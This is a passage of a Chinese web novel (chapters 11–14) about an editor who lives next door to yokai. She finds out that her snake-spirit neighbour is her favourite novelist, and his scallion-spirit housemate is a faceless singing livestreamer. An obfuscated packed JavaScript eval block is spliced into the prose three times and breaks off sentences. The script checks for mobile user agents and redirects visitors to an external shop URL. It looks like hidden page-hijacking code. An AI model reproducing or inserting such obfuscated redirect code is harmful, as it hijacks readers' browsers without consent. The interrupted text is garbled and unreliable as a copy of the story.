徐安容谦虚地笑笑,表面不显,身后无形的小尾巴已经翘了起来,低调地说道:“还行吧,也有很久没玩过了,就以前上过几次王者。” 她可不像楚柯,会被人按在地上摩擦得毫无还手之力,想当初,她也是能一人带飞四个青铜女大学生的人! 大黄一听,这有戏啊!试探着怂恿她:“那等楚老大出来,你和他打一局?” “你也知道的嘛,他都输了那么多局了,总和他打没什么意思。”大黄摇着尾巴谆谆引诱道,活像哄骗小红帽开门的狼外婆,“我想看看他是不是和你对战也这么不堪一击。” 嗯,那种菜鸡互啄的场面一定很有趣。 徐安容被他说得有点意动,看楚柯被大黄一次次蹂/躏,她觉得换自己来也能轻松虐菜,只是楚柯不会介意吗? “没事儿。”大黄随意道,“他脾气很好的,才不会在意是谁和他玩的。” “而且楚老大很菜的,你不用担心。” 徐安容被成功怂恿了,抓着游戏手柄有些跃跃欲试:“行,那我试试。” 话音落下,楚柯刚巧从浴室出来,大黄碰碰她的胳膊,朝楚柯的方向汪了一声。 “喏,老大来了。” …… 十五分钟,徐安容哭唧唧地丢开了游戏手柄。 骗子! 都是骗子! 说好的她操作水平还可以呢! 说好的楚柯是个菜鸟呢! 明明是她一路被打得毫无还手之力,凄凄惨惨戚戚。真是世风日下世态炎凉,这个世界充满了人与妖之间的欺骗。 徐安容悲痛地想她怕是要对这个世界和各类推塔游戏失去信任了,明明楚柯和大黄打的时候一路被虐,胜利拿得轻轻松松,轮到她的时候,楚柯仿佛一路开了 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楚柯见她站起身要走,稍稍有些遗憾,却也没有阻拦,把手柄大黄怀里示意他继续。 徐安容刚走到门口,忽然想起来一件事:苗苗呢? 从她出来到和楚柯大黄他们打游戏,这一期间似乎完全没有听到苗苗的声音,她也没有来找她,而她沉迷游戏也忘记了她的存在。 想曹操,曹操来。 小葱妖的声音忽然从背后传了过来:“容容姐!等等,先别走!” 徐安容闻声回过头,声音传来的方向是客厅角落里的电脑桌,小葱妖可怜兮兮地从电脑显示屏后面探出脑袋,求助道:“容容姐,你快来帮我个忙。” “怎么了?” 徐安容看看稳坐在电视机前专心致志打游戏的两妖,又看看小葱妖弱小可怜又无助的模样,迈开步子走了过去。 苗苗趴在桌上的通线孔边往底下瞧,边看边回答:“我也不知道怎么了,忽然听不见声音了,耳麦也录不上音,刚刚屏幕还花了一会儿。容容姐你会修不,我晚上还有很重要的事呢。” 徐安容摇了摇头:“不会,不过我可以帮你看看,说不定只是接口松动了。” “容容姐,谢谢你呀。”苗苗趴在桌边软软地道谢。 徐安容“嗯”了一声,正要猫着腰钻进电脑桌底下,目光不经意地扫过液晶显示屏,整个人顿时不好了。 屏幕上是一个直播间,还没开始,黑漆漆的一片,但已经有观众陆陆续续地进来了,看数据显示有近一万人,都在等直播开始。主播的个人信息在右上角,底下的粉丝数一栏写着四十万,再下面是认证标志和认证信息。 屏幕的右下角露出了微博的页面,刚好能看到昵称和粉丝数,和直播间的主播一样的认证信息,粉丝数还更多一点,有七十多万人。这样的数据算得上是一个小网红了。 如果只是这样当然不足以让徐安容震惊,真正让她觉得吃惊的是这两个界面都处于后台登录状态,换句话说,这两个账号的主人就是苗苗。 徐安容游魂似的钻入了电脑桌下,问话的声音有些飘忽:“苗苗,你今晚上有什么重要的事啊?” “哦,我要直播呢。”苗苗随口道。 咚的一声,徐安容一头撞上了头顶的桌子板。 11. 11 网红是颗葱 直播??? 妖怪直播?! 徐安容揉着撞疼的脑袋,倒吸了几口冷气,是她之前被楚柯虐得太惨所以出现幻觉了吗? “苗苗你说的是真的啊?”她又确认了一遍。 “是啊。”苗苗认真地点头,“容容姐,你好了没有呀?我刚才好像听见了你撞到桌子的声音……” “没事没事。”徐安容心里还想着直播的事,苗苗一个小妖怪,原形就是颗葱的模样,还不到可以长时间化形的时候,她要怎么直播?真要用现在的样子往摄像头前一站,那是分分钟上新闻热搜的节奏,看她也不是第一次直播了,如果以前引起过什么轰动,那自己应该早就在各类报导上见过了,但根据目前的记忆来看,并没有类似的新闻。 胡思乱想间,她已经摸到了底下杂乱缠绕的线团。 徐安容的计算机维修水平不高,大概只比电器坏了纯靠拍一拍的修理方式好一些。她买笔记本的时候特地挑选了可以拆卸电池的一款,为的就是遇上突发状况可以强行关机。她还记得以前教计算机的老师说过一句话——“电脑这东西嘛,有问题的拍两下,再不行关机重启,绝对可以解决百分之九十九的问题。” 言之极为有理。 她思维发散着,点开手机自带的手电筒照了照,把缠成一堆的连接线挨个重新按了一遍。手底下有东西按下去的触感刚传来,苗苗就惊喜地叫了一声。 “容容姐,好了好了!” “确定没问题了?” “没有没有,都好了。” “那我出来了。”徐安容说着,猫着身子要钻出去,目光一瞟,忽然看见麻花似的连接线中有一根被压在了底下,不知道是自己掉了下来还是被主人所遗忘,孤零零地待在那里。 她顺手将连接线插上,对苗苗说道:“你们是不是忘记了一根连接线啊,怎么没接上,这是连什么的呀?” “没有什么连接线啊……”苗苗托着腮趴在桌上,细细的小腿有节奏地晃悠着,“所有接口都插着的……啊!等等!” 她忽然想起了什么,身体一僵,露出了惊慌的神色。 “等等!容容姐不要啊——!” “那是摄像头的连接线啊!” 惊天一声惨叫。 徐安容听见惨叫的时候已经站了起来,刚稍稍侧过头,就见苗苗抄起一本时尚杂志对准摄像头狠狠抽了一下,咔哒一声,摄像头从电脑上摔下来,镜头朝天。 苗苗急得直跳脚:“容容姐快啊!快把连接线拔掉!” “诶?哦哦。”徐安容下意识应着,蹲下身的时候又看了眼屏幕,镜头朝天,映出来楚柯家的房顶,好像是有人见屏幕打开,以为直播开始了,弹幕和各种礼物开始刷屏。弹幕上写了什么她没细看,熟门熟路地钻进桌子底下把刚才插上去的连接线拔掉。 屏幕闪烁了两下恢复了黑屏,苗苗瘫在桌上长长地出了口气。 “太险了……” 徐安容觉得纳闷,她不是要直播么,为什么见到摄像头打开就一副见光死的样子,直播不开摄像头那能直播什么?游戏实况吗? 想到这个家里的两个游戏大神,徐安容顿时觉得自己的猜测合情合理。 “你是要做游戏直播吗?”她顺口问道。 苗苗有气无力地摆摆手:“不是啊,我不怎么会玩游戏,我直播唱歌呢。” “啊?” 徐安容的表情扭曲了片刻,一脸古怪地反问道:“你?直播唱歌?” “是啊,很奇怪吗?”苗苗坐了起来,抱着摄像头藏到屏幕后,闻言十分不解地歪了歪头,“就是很普通地唱唱歌啊。” 当然奇怪了! 徐安容揉着自己脑袋上撞出来的一小块包,不敢置信地问道:“你就黑着屏幕唱歌,也不开摄像头,还有这么多粉丝听你唱?” 她指了指已经破万的在线观看人数。 就她看直播的经历来说,哪个唱歌的女主播不是穿得花枝招展来直播的?唱歌还是其次,主要是聊天,一首歌唱两句,中间要穿插十句“谢谢这位朋友的打赏”。观众也是醉翁之意不在酒,没人管你唱得好不好听,就看脸看身材,所以大多数女主播的衣服一件比一件领口低。 她不相信苗苗顶着这漆黑一片的屏幕,单纯唱唱歌还能吸引这么多粉丝,说出去,那些不靠脸靠才华因此冷到北极圈的歌手们都要哭的好吗! 苗苗认真地想了想说:“可能我唱歌比较好听吧。” 徐安容:“……你认真的?” 苗苗好像不太理解她的吃惊,奇怪地看了她一眼,点了一下头,就自顾自地开始调试设备。徐安容见屏幕上的礼物和弹幕呈现爆炸式密集刷屏,好奇地凑过去看了看。 “天呐!苗苗女神竟然刚才打开了摄像头!” “有人截图了吗?有人截图了吗?没有我过会儿再来问一遍。” “哈哈哈哈我截到了但是我就是不发哈哈哈哈哈哈……” “女神长得好美啊啊啊我要昏古起了!” “我仿佛错过了几个亿……” 弹幕堆了一层又一层,边上的礼物栏里也像有人持续按着刷新键,不断闪动着。徐安容看了几眼,终于意识到了苗苗说的是真话。 “原来你之前真的不开摄像头啊……” “当然了,我这个样子不能让别人看见的嘛。”苗苗抖抖小叶子,“容容姐你好像特别吃惊啊。” “是、是啊……” 当然吃惊了,没有几个普通人会不吃惊吧。 不过徐安容想想也就释然了,她之前还担忧苗苗直播会不会暴露她的身份呢,想了半天想不到会用什么样的直播方式,现在看来苗苗早有应对之策。 桌面上的时间慢慢跳到了59分,快到十点整,苗苗清了清嗓子准备开始直播了,徐安容看着她专心致志的模样,怕留在这里影响她,和她打了个招呼就离开了。 回到对面的自己屋里,徐安容依旧有点晕乎乎。 隔壁一家子都是妖也就算了,偏偏其中一个还是漫画界炙手可热的大神,剩下的俩以为没什么特殊,结果一个是游戏大神,一个是网络红人。 一个两个都这样,还给普通人活路吗? 她埋在柔软的被子里心不在焉地点开通讯软件,不小心登上了工作号,一瞬间各种消息狂轰滥炸般来袭,“嘀嘀”的提示音和震动连绵不绝,握着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820018|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机的手差点拿不住。 拿到眼前一看,果然手下的作者小天使们又在水群,消息不断刷新着,旧的话题转眼就被顶了上去。她粗略地查看了一下历史记录,最初是有人往群里丢了一个论坛里的帖子链接,然后紧跟着底下就有人尖叫起来。 帖子的名字取的很得UC震惊部的真传。 《震惊!这群人竟然禽兽不如地对一个男人做出这种事!》 徐安容看着这标题犹豫了很久,才点了进去。正文画风比标题正经多了,说的是某小说大站的一个大神被公司不择手段地压榨剩余价值的事,该公司不仅在合同里剥削作者,还有版权侵权的问题,最后楼主还提到了该大神快要与网站解约,担忧地表示不知道大神接下来会去哪里。 中间情节叙述有些长,徐安容没有看完,但这码打得很薄,她一下子猜出了帖子里说的大神是谁,往下拉了拉,果然有人在问:“这个作者是不是某点的楚大神啊?” 楚大神笔名就一个“楚”字,也是徐安容的男神之一。 作为一个文字类工作者,大神作者更容易成为她的男神,而楚神的小说也写得格外合她心意,从第一眼见到起到现在,她已经默默地粉了对方三年,如果不是因为应聘的时候某点不招人,她甚至可能会为了男神不来晋江。 本来就对这个网站有偏见,现在又看到他们这么对待自己的男神,徐安容气愤地登录了论坛,狠狠戳着键盘回帖:“迟早要把楚神挖到我们晋江来!” 回完贴一刷新,她的回复下面已经有人排起了队。 “排层主,给层主捏肩。” “排层主,给层主捶腿。” “排层主,给层主递小板凳和瓜子。” “给层主一个三百六十度回旋么么哒!” “……” 回帖排队的人越来越多,直到有一个顶着固马“好想吃饺子”的回复冒出来——“萌编是你吗萌编?” 徐安容心虚地退出了论坛。 她看帖回帖的这段时间里,群里的话题又不知拐到了哪里,她看了看聊嗨了的作者群,正要提醒她们好好码字,一张模糊的截图和一个直播链接忽然被人甩了出来。 “我女神苗苗的真容侧颜照!美不美!” 发言的还是唐俊杰。 徐安容看到“苗苗女神”这几个字就感觉不妙,再点开那张高糊的截图一看,差点没两眼一黑昏过去。 截图上的人是她。 她忽然想起来摄像头接通的时候,她站起来,正好侧身对着镜头,虽然苗苗及时把它抽飞,但她的身影还是入了镜。 幸好……只是侧脸,还糊得这么厉害。 徐安容颤抖着双手把“好好码字,不许水群”这句话编辑完发送,再艾特了唐俊杰,忍住内心想要吐血的冲动,点下了退出登录。 傻孩子啊,你的苗苗女神是个小葱妖啊! 网红是颗葱啊! 她这边吐血,苗苗那边也不好过。 刚结束完直播,企鹅号忽然闪了起来,她点开对话框,对方发了一张图和一句话过来。 截图上的人是徐安容,那句话也很简单。 “这是你吗?” 12. 12 男神你好,男神再见 苗苗可耻地心虚了。 如果是别人问她,她不会有任何顾虑,大大方方地就能回答是或不是,但是这个人不一样。不超过三十人的联系列表中,在其他人都以真实姓名作备注的情况下,这个显示为“XXX”的备注绝对是最特殊的那一个。 她沉默着,顾虑着,小叶子耷拉在键盘上,迟迟落不下一个字。 “苗苗?”那头又发来了一条消息。 苗苗心虚得更厉害了。 她一向不开摄像头,用来掩盖自己的妖怪原身,即便不常关注评论也知道自己在粉丝间显得很神秘,今天突然来了这么一出,几乎所有人看直播的人都以为那张侧脸截图就是她,只有林修远提出了疑问,说明他至少是不怎么相信那是苗苗本人,否则也不会特意来求证。 那么,要实话实说吗? 如果实话说了,他会不会要求看自己真实的样子? 她敲了一下键盘,正要敲第二下,搁在桌子上的手机猝不及防地响起,铃声刺耳,害得她按下了一串乱码。她看了一眼联系人,扭头就喊楚柯。 “老蛇!你的电话!写文那编辑的!” 楚柯闻声回头,慢吞吞站起身,懒懒散散地踢踏着拖鞋走过来,长臂一伸,捞起手机点下接通,边接电话边往阳台走。 走到门边,他忽然狐疑地回过头,盯着干干净净的电脑桌面看了几眼。苗苗眨巴着眼冲着他无辜地笑,电话另一头有人催促着他应答,他又看了一眼,这才拉开了移动拉门。 苗苗吁了口气,重新点开对话框,对面没有新消息发来,似乎是在耐心地等待她的回答。 她的脸上现出了挣扎的神色,犹豫了许久,删除不小心按下的乱码,一个键一个键地打出了两个字:“不是。” 林修远看着她发来的回答,嘴角翘了翘:“我就知道不是。” 简单的六个字里蕴藏着一丝不易察觉的小得意。 苗苗说不出自己心里是什么感受,只下意识地继续问道:“那你觉得我是什么样的呀?” 林修远似乎在思考,过了一会儿才回道:“我也不知道。” “我只是觉得,那张截图上的人不像你。可能是男生的直觉?” 诚然,那张截图上的女孩子虽然只有侧脸而且还很模糊,但看得出长得很漂亮,大多数人都以为那就是苗苗了,他却感觉十分违和。也许是因为私下里和苗苗关系更亲近的缘故,他知道苗苗的年龄和他差不多,而且以性格来看,长相也应该是偏娇俏可爱的类型,这和图片不符。 苗苗看着他发过来的一长段推论,心里猛地涌上一阵甜滋滋的感觉,但又很快被忧虑所替代。 当然不像她了,她可是妖啊。 “那你想不想要我的照片呀?” 发完这句话,她紧张地屏住了呼吸等待着林修远的回答。 “不想。” 他的回答还是和以前一样:“我感觉得出来,你不是很喜欢拍照,所以不用勉强。” 苗苗开心地笑了,小叶子轻飘飘晃起来:“你觉得截图的女孩子美不美呀?要是我其实没有她那么好看,你会不会很失望?” 林修远停顿了一会儿:“……美。” “不会。”他接着发道。 “在学医之人的眼中,长相的美丑没有那么绝对和重要。” 苗苗脸上的笑容已经彻底遮不住了,撑着下巴趴在键盘前没忍住就地翻滚了两圈。等冷静下来,她摸着键盘正想再说点说什么,忽然看见林修远又发了条消息过来。 “我已经获得了京市医大的保送资格,高考完之后就会去京市,到时候我们可以直接见面。” 苗苗的笑容僵在了脸上。 这这这这是什么意思?是她的想的那个意思吗吗吗吗? “苗苗,我们见一面吧。” “嘭”的一声,小葱妖一头栽到了地下。 …… “喂?嗯,在家呢。” 身侧的手机忽然响起,徐安容猛地睁开眼,接通电话,听着电话那头温柔的女声,也柔和了神情。 “这么晚了,您和我爸还没睡呐?” “是,是,我知道,都挺好的。夜里有雨夹雪啊?我知道了,我去看看……不会,我又不是小孩子了,难道还不知道怎么照顾自己吗?” 她一边接电话一边走到了阳台,月亮已经被乌云遮住,云层低得令人压抑,迎面吹来的冷风也不复之前的干冽,带上了一点湿意,天气看起来确实很糟。 她一边将零散挂在阳台上的几件衣服收拢到怀里,一边小声嘀咕:“没听说最近要下雨夹雪啊。” “你当然不知道了,你平时连个天气预报都不看,还能指望你知道夜里有雨夹雪?都多大的人了。”徐母恨铁不成钢的声音通过手机清晰地传递到耳里,徐安容缩了缩脖子,仿佛见到她就站在自己边上戳着自己额头训话。 “这不是还有您和我爸嘛。”她讨好地撒着娇,“妈妈妈……” “刚才是谁和我说知道怎么照顾自己的?”徐母才不搭理她的撒娇,“就你这样,我和你爸怎么放得下心让你一个人在外面工作。” 徐安容抱着衣服到了室内,将衣服丢在椅子上,又出门去搬阳台上的几盆吊兰,她歪头夹着手机,徐母带着点小心翼翼的期待的声音在耳边传来:“你今年元旦回不回来呀?” 徐安容沉默了一下:“……不回了,三天时间有点赶,估计来不及。” “哦……”徐母稍稍有点失望,“那过年是要回来的吧?” “肯定啊。”徐安容笑着道,“过年我带着男朋友回去看你和爸。” 徐母摆明了不信:“你就吹吧,你哪来的男朋友啊?我和你爸睡了,你也早点睡啊,不准熬夜。” 说完挂了电话。 徐安容诶着声,直到手机传来“嘟嘟嘟”的声响才将它收进口袋。 阳台上能搬进屋的都搬进去了,剩下的即便淋雨也不要紧,她站在门口探头巡视了一圈,目光转到703那面,一个身形颀长的男人正背对着她在打电话。 不知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820019|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么时候出来的,又在那里待了多久,徐安容先前也在接电话没有注意到隔壁有没有人,乍然看见,吓了一跳,本着不偷听别人隐私的原则,她一只脚缩回了屋里。 一阵夜风吹过,把男人的话语带到了相邻的阳台——“没有什么好说的,你们侵犯我权利的事情我不会眼看着而无动于衷。本来就快解约了,这件事只是加速了这一进程。” “侵权”,“解约”这两个关键词仿佛晴空下的一道雷,瞬间劈中了徐安容,刚刚才在论坛看过贴,她对这两个词有着超乎寻常的敏感,原本缩进去的一只脚又悄悄伸了出来。 不,她没有偷听,只是阳台没有隔音,被她恰巧正大光明地听见了。 她给自己做完心理建设,悄悄蹭到了阳台边。 强烈的好奇心和求知欲甚至让她暂时忽略了楚柯的身份,只想着确认自己那个荒唐的猜测是不是正确。 “……于群先生,我们的合作就要到此为止了,麻烦你转告公司的各位负责人,我的律师将带着法院传票于下周二亲自前往贵司,有问题请与他联系。” 话音落下,他干脆利落地结束了通话。 于群这个名字,徐安容曾经听过很多回。她还没有入行的时候,就听说过这位编辑的大名,等粉上男神和后来入职晋江,这个名字就更是如雷贯耳。 他一手挖掘并培养了数位大神,连最出名的楚神也是一开始默默无闻的时候就被他签下。不提他本身的业务能力和某些极品事迹,光冲着男神/的名头她都对这个人的信息如数家珍。 结合这个名字,再联系上下文,徐安容不难确定楚柯的另一重身份。 楚神的那个“楚”,不就是楚柯的“楚”么。 徐安容还沉浸在“我男神是我邻居”、“我邻居是个蛇妖”、“我男神是妖怪”、“妖怪居然还请律师”的震惊中,一时间竟然没想着跑,直到楚柯转过身,她才感觉有些不妙。 “嗯?”楚柯感觉到身后有一道不同于他的气息,转过头却见徐安容一脸被雷劈傻了的表情,警惕的表情稍稍软化,他发出了一声浅浅的疑问。见徐安容对此毫无反应,他顿了顿,又问了一句,“你都听见了?” 徐安容刚要点头,陡然反应过来,连连摇头道:“没有没有!我什么都没听见!” 掷地有声地说完,她又忍不住小小声问道:“你真是楚神啊……” 如果没记错的话,陈雨彤和她说过很多次,楚柯是他们杂志社的摇钱树,栽下去就会自己下黄金雨的那种,就这样,他还是网文界大名鼎鼎的楚大神?寻常人有一样做到他这个程度就足以傲视群雄了,更不用说兼任,他这还是人吗? 哦,他的确不是人。 徐安容又想起了楚柯的真实身份,原本见到男神的雀跃之心不由自主地萎了下去。 不不不!这一定是假的!她的男神怎么可能是妖怪呢! 徐安容拼命摇着头,试图把刚才听到的统统甩出脑海,就在这时,楚柯低低地应了一声。 “嗯,是我。” 13. 13 挖墙脚 他回答得如此迅速,徐安容甚至来不及捂住耳朵。当事人亲口承认,她再也不能自己欺骗自己只是听错。 “你就不能骗我一下说不是吗?”她瞪楚柯。 楚柯微微一笑,道:“不能。” “你好像对此很不开心?”楚柯好整以暇地抱着臂,仗着身高优势居高临下地看着她,“这么说来,你也是我的读者粉丝?” 徐安容当初搬来知道自己画漫画的那个身份后并没有表现出特别惊喜的神色,楚柯表示他很能理解,毕竟不是所有人都看漫画,偶尔有一两个不为他的才华所倾倒也正常。但躲过了初一,未必躲得过十五,就算不喜欢他的漫画也有可能喜欢他的小说嘛。 他的心里闪过了一丝小得意。 徐安容依旧瞪着他:“不是。” 她隐约感觉到了楚柯的那一丝自得,因此更不想让他得意。迷了三年的男神一朝见光死,只有真正的粉丝才明白这是多么揪心的事。 坦白讲,楚柯不帅吗? 帅。 楚柯有污点吗? 没有。 但是,他他他他是妖啊! 光凭这一点就能扼杀无数少女心了好吗? 想到这里,她忽然对那些尚且对楚柯的底细一无所知的粉丝们生出了浓浓的羡慕——无知是福啊! 为什么大家都说楚神写的小说特别真实,所有的妖怪都刻画得栩栩如生?因为灵感明显来源于生活啊! 楚柯从容地看着她,微挑的眉头好像在嘲笑她的口是心非。 徐安容被他看得有些羞恼,正想反驳,忽然想起了另一件事,原先到嘴边的话又咽了回去:“你真的要和现在的网站解约?” 虽然已经两次听说了这个消息,其中一次还是当事人亲口所说,但她还是不放心地准备再确认一遍。 “是啊。”楚柯应得很随意。 “那你找好下家了吗?”不同于他的随意,徐安容问得很正经。就算前一秒还在哀叹男神的幻灭,下一秒只要提到工作上的事,她也能立刻收回全部心神,拿出最敬业的态度。 在之前看的那个帖子里,楼主分析了楚神解约后最有可能去的几家网站,最后虽然也提了晋江,但是话里话外都不看好。徐安容回帖时说要把大神挖来晋江也不仅仅只是一句气话,她是真有这么考虑过。 作为粉,男神是个什么样的人对她而言很重要,但作为一个编辑,只要他是大神就足够了,是不是人根本不重要!再说了,邻居都当了这么些天了,最开始的害怕劲儿都差不多过去了,除了一点潜意识的畏惧心理,她现在看楚柯就好像看着财神爷,升职、加薪、迎娶高富帅都在后面等着她! “没有。”楚柯漫不经心地回答道。 “那……你考虑过晋江吗?” 徐安容小心翼翼地观察着他的神色,只要他有一点拒绝的意思,她都能用三寸不烂之舌磨得他同意。楚柯是棵摇钱树,这种从天而降的机会砸在她头上,她要是还傻乎乎地放跑了那就太可惜了。 俗话说,近水楼台先得月,她身为大神的邻居,难道不比别人更有先机吗? “哦?”楚柯没有直接回答,气势逼人地微微俯下一点身,探究的目光直视着她的眼睛,“你是晋江的编辑?” “是啊……” 徐安容小小地往后退了半步,尽管隔着阳台间的缝隙,楚柯俯身的时候她还是感觉到了一股不小的压力:“怎么样?你要考虑一下吗?” “当然可以考虑。”楚柯说道。 他直起了身,两手插着兜,有些懒洋洋地说道:“但是你能提出什么条件呢?” 这似乎是有点松口的意思。 徐安容揣摩着这句话的涵义,总觉得今天的楚柯格外的好说话,不知道是不是之前打游戏从她身上找回了自信,说话的态度也没有平时那么冷傲,于是试探着说道:“和其他大神一样,签大神合约,三七分成,版权代理费再降百分之十……” 楚柯听她说完,微微摇了摇头:“不够,毫无新意。” 新意? 徐安容琢磨着这句话,想不通他要的新意是什么。她所能给出的已经是她权限范围内最优选择了,其一还是看在楚柯自身的价值上,其二则看在他是自己男神的份上,换了别人都不一样有这样的待遇。 “你想要什么样的条件?” “我的条件……”楚柯的目光在她脸上转了一圈,好像在做什么决定。徐安容被他看得毛毛的,恰好冷风吹过,激起了几粒鸡皮疙瘩,她伸手搓了搓,就听见楚柯又开口,“我……” 哐当—— 不知是哪家的晾衣架被风吹倒了,砸在地上发出了一声巨响。 几乎是眨眼之间,随着呼呼吹起的风,米粒大的雨滴密集地砸落下来,间杂着一点晶莹的雪花,瞬间就淋湿了外套。 徐母电话里所说的雨夹雪如期而来,只是好巧不巧地卡在了这个时候。徐安容拢紧了领口,另一只手挡在头顶,执着地看向楚柯,等着他还没说完的条件。 楚柯皱了皱眉,看徐安容冻得瑟瑟发抖又坚持着想听完条件的样子,抛下一句“我的条件明天再和你说”就踢踢踏踏地走回了屋里。 话说一半又不说完,知不知道有多吊人胃口啊! 徐安容咬牙盯着他的背影,想起他平时断章断得也是设足了悬念的恶劣行径,不由得生出了想要扑上去咬他的冲动。 哼,明天说就明天说,又不是求着他。 她哼了一声,扭头也回了屋。 …… 第二天就是周一。 徐安容嘴上说着不在意,夜里还是忍不住偷偷想楚柯要说的条件是什么。这一思考就耽误了大半夜,直到最后实在抵不过困意,不知不觉地睡去,她才暂时忘了这件事。 而晚睡的后果也很明显——她赶在迟到前的三分钟冲进了办公室,刚一坐下,就长长地出了口气。 “呼,还好赶上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820020|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 有同事促狭地拍拍她的肩,调侃道:“见你迟到真是稀事啊。” 徐安容扭了扭,抖落她的手,回应道:“我可没迟到,还有三分钟呢!” “咱们徐美人儿不是号称上班不能提前十分钟到就算迟到的吗?你这可是第一次破例啊。”同事不怀好意地笑了笑,“是不是最近交男朋友了?晚上和男朋友……嘿嘿嘿……” 她发出了猥琐的笑声。 徐安容给了同事一个友好的肘击:“没有影的事。我连我男朋友姓啥叫啥今年多大长什么样都不知道,还嘿嘿嘿呢!作为一名文学编辑,你脑子里能不能装一些和谐的东西?我昨晚在挖某站大神的墙角呢。” 同事配合地捂着肚子夸张地叫唤,听到后半句,忽然来了兴致,八卦之心熊熊燃起,好奇问道:“谁啊?哪个大神啊?不会是……楚神吧?” 显然她也看到了论坛里的帖子。 徐安容深沉地点了点头:“嗯。” “哎哟我去!我们容容可真行啊!”同事搂着她的脖子激动地摇着她,也不问她是怎么联系上楚柯的,只关注最后的结果,“怎么样?撬成功没?” “没,说今天再谈。”徐安容说完,就见同事露出了失望的神色,但几秒过后又兴奋地手舞足蹈起来。 “我相信我们容容肯定没问题!” 徐安容对上她信心满满的脸,不知道她对自己哪来的那么大自信。 从她这得到了这么一个重磅的消息,同事放开她,跟花蝴蝶似的飘到了其他正在工作的同事身边。 “诶,我跟你们说个事儿……” 徐安容低下头处理自己的工作,很快悉悉索索的讲话声和此起彼伏的惊叹在办公室响起,五分钟后她听到了组长中气十足的喊声——“小福蝶儿!回你自己位置去!” 她不动声色地弯唇笑了笑,点开了作者群。 一大早就有人在水群。 以昵称“饺子很好吃”为首的一群人天南地北地侃大山,话题贯彻古今中外,横跨服饰、彩妆、游戏、科技等多个领域,水群速度飞快,一行行文字还来不及看就被人顶了上去,让徐安容不禁心想要是这群人能把这种水群的精神放在写文上该有多好。 在她感慨的这几秒内,群内的话题又换了一个。 饺子很好吃:“马上元旦了,你们准备怎么过啊?” 快元旦了? 徐安容看了一眼日期,果然周五就是元旦了,昨天和她妈打电话的时候说起,她总觉得还有很长一段时间呢。 她看着开始躁动起来的作者群,给“饺子很好吃”禁言了24小时,然后笑眯眯地发了一句话。 “当然是趁着元旦假期努力日万啦。” 群里瞬间安静。 她关掉群聊,开始写近期的工作计划。笔尖落在纸上,一时间想不到该写什么,鬼使神差地又开始想昨晚和楚柯的对话。 他说的条件到底会是什么? 14. 14 迂回套路 徐安容头一回觉得上班时间实在太长了。 楚柯的话吊得她心痒痒,一有空闲就忍不住去想他究竟要提什么条件。努力控制着自己不去胡思乱想,挨到下班时间,她没有像往常那样多留半小时而是收拾完东西准时走人。 同事以为她赶着去约会,一个个在她身后挤眉弄眼地笑,徐安容一律无视,头也不回地走出办公室。 京市的车况并不好,回到家已经是一个小时后了。她爬完七楼,喘着气站在老旧的防盗门前,心情反而不是那么急躁了。在楚柯门前犹豫了几秒,她转身打开了自家的房门。 她不着急,站在门后的某蛇妖却急了。 他一直留心着门口的动静,听到徐安容下班回来的响动就放下游戏不受控制地挪了过去,等着给她开门,谁知对方竟然不按套路出牌。她竟然就……这么回家了? 不是说自己是她男神?希望自己能签约他们网站? 他以为徐安容至少会很着急想知道他的条件到底是什么的,可结果她就这么走了? 他面上不显,好像走到门边只是为了擦一擦门把上的灰尘,沉重地拖着脚步回到沙发,重重倒下,捡起手机点下了重新开始游戏。 苗苗和大黄被他折腾出来的动静所吸引,齐齐扭回头看他。 “老蛇,你干嘛不开门?” 楚柯轻哼一声,玩着消消乐没有说话。 他当然不能开门了,徐安容都没有敲门呢,他巴巴地给人开了,那不是显得好像一直在等她似的,多掉身价啊,又不是他求着要人家签他。 苗苗体会到了这种心理,很是不屑,心想死傲娇就是死傲娇,于是叫来大黄,翻身跳到他背上,小手一挥,指着隔壁房间说道:“大黄,我们走。” 又到了蹭饭的点,隔壁的饭菜香已经顺着风飘进了他们家,楚柯心不在焉地戳着手机屏幕,一下两下三下,同一关玩了五遍都没过。瞟瞟被拉开的阳台玻璃门,他又哼了一声,翻身坐了起来。 …… 徐安容把菜端上桌的时候,苗苗和大黄已经在餐桌前正襟危坐、翘首以盼。 她端上最后一份糖醋排骨时,门铃突兀地响了。苗苗和大黄对视了一眼,不为所动,徐安容有些奇怪地看了他们一眼,走过去开了门。 门外是楚柯。 他似乎又恢复了拒人于千里之外的冷淡态度,手插着口袋,姿势随意地站在门边。徐安容打开门抬起头,他正好垂下眼,目光相对,他停顿一会儿,问道:“有空吗?” “是昨晚的事吗?”徐安容意识到了他找过来的目的,看了眼坐在餐桌前等着她的苗苗与大黄,有点为难,“要不……你先等一下?” “不用管他们。” 